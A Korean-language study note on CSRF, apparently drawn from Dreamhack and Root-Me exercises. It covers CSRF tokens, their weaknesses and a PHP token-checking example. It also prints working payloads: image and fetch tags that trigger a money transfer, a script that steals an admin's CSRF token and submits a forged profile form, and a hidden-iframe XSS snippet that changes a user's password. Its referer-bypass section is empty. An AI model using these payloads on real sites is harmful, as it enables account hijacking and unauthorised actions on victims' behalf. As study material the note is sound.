CSRF +

  1. ClientSide: CSRF

만만한 게 CSRF라서 조금 더 알아보는걸로…

드림핵 원랜 더 자세히 기록하지만 스윙 스터디 짬바로 추가로 알게 된 부분만.기록.

쿠키 -> 일종의 서명 역할
간단하게 이런 서명 위조를 하는 공격

HTTP 요청을 보냄
img 태그나 form 태그를 사용하여 HTTP 요청->HTTP 헤더에 cookie 인증 정보 포함

Image 1
Image 2

공격 스크립트는 자바스크립트

<img src="/sendmoney?to=dreamhack&amount=1337">
<img src=1 onerror="fetch('/sendmoney?to=dreamhack&amount=1337');">
<link rel="stylesheet" href="/sendmoney?to=dreamhack&amount=1337">
  1. CSRF token
    server의 request가 실제 server인지 판단하는 토큰
    오리진에서만 접근 가능한 형태로 특정 token 저장 -> HTTP 요청 전송 시 포함해서 전달
    이 값은 HTML form 태그의 hidden 속성에 입력 or 동적 요청
    HTTP 요청으로 전송된 token == 세션에 저장된 token 확인함

장점: 캡챠나 암호화 방식과 달리 사용자의 추가 행위 불필요
단점: XMLHttpRequest나 Fetch API로 Authorization 같은 헤더 설정 통신에 비해 보안 취약

2-1. [WHA-C] Exploit Tech: CSRF Token 오용

//CSRF 탐지 예시 코드 

<?php
if (!isset($_SESSION["csrftoken"])) {
    $csrftoken = bin2hex(random_bytes(32));
    $_SESSION["csrftoken"] = $csrftoken;
} else {
    $csrftoken = $_SESSION["csrftoken"];
}
$method = $_SERVER["HTTP_METHOD"];
if ($method !== "GET" && $method !== "HEAD") {
    if (!isset($_POST["csrftoken"]) || !hash_equals($csrftoken, $_POST["csrftoken"])) {
        header("HTTP/1.1 403 Forbidden");
        die("CSRF detected");
    }
    echo "Input value: ";
    echo htmlentities($_POST["query"], ENT_QUOTES|ENT_HTML5, 'utf-8');
}
?>
<form action="" method="POST">
    <input name="csrftoken" type="hidden" value="<?=htmlentities($csrftoken, ENT_QUOTES|ENT_HTML5, 'utf-8'); ?>">
    <input name="query" type="text" />
    <input type="submit" />
</form>

CSRF Token 주의점
1) 짧은 CSRF token: 무차별 대입 공격 대비
2) 예측 가능한 CSRF token: 의사 난수 생성기 사용 X , CSPRNG로 대체
3) CSRF token 유출: URL 쿼리 파라미터로 넘겨짐 -> referer 헤더에 노출
4) 유효시간이 긴 CSRF token: 로그아웃 후에 새 세션이 생성되어도 토큰 계속 사용할 수 있음

2-2. 참고
토큰 우회 시도->XSS로 세션 탈취
1) 토큰값 없애기
2) 토큰값 바꾸기(동일한 길이의 값으로 변경)
3) 관리자 토큰 얻기 -> ajax 활용 코딩
시나리오: 관리자로 profile 페이지 요청->token 탈취->이걸로 csrf

<form id="profile" action="?action=profile" method="post" enctype="multipart/form-data">
    <input id="username" type="text" name="username" value="test">
    <input id="status" type="checkbox" name="status" checked>
    <input id="token" type="hidden" name="token" value="">
</form>
<script>
    var xhttp = new XMLHttpRequest();
    xhttp.open("GET", "http://challenge01.root-me.org/web-client/ch23/?action=profile", false);
    xhttp.send();
    console.log(xhttp.responseText);
    var token = xhttp.responseText.match(/[abcdef0123456789]{32}/);
    document.getElementById('token').setAttribute('value', token);
    console.log(token[0])
    document.getElementById('profile').submit();
</script>
  1. referer check
    리퍼러 더 자세히 찾아보기
    ```html

// Referer Check 우회


4. GET, POST  
사실 순서가 거꾸로..되었다.  
이부분을 스윙 세미나에서 다룬거라 안 넣으려다가 넣음  
get 단순히 URL 수정해서 전달  
?pw=1234로 변경하거나 등등등...  

포스트는 param 처리  
xss취약점 찾기<왜?, 명의 도용을 위해  
```html
// XSS 취약점에 삽입할 코드
<iframe style="display:none;" name="stealthFrame" ></iframe> // display:none으로 숨김
<form method="POST" action="http://www.test.com/userUpdate.php" target="stealthFrame">
    <input type="hidden" name=userPw value="1234"/>
</form>
<script>
    document.forms[0].submit();
</script>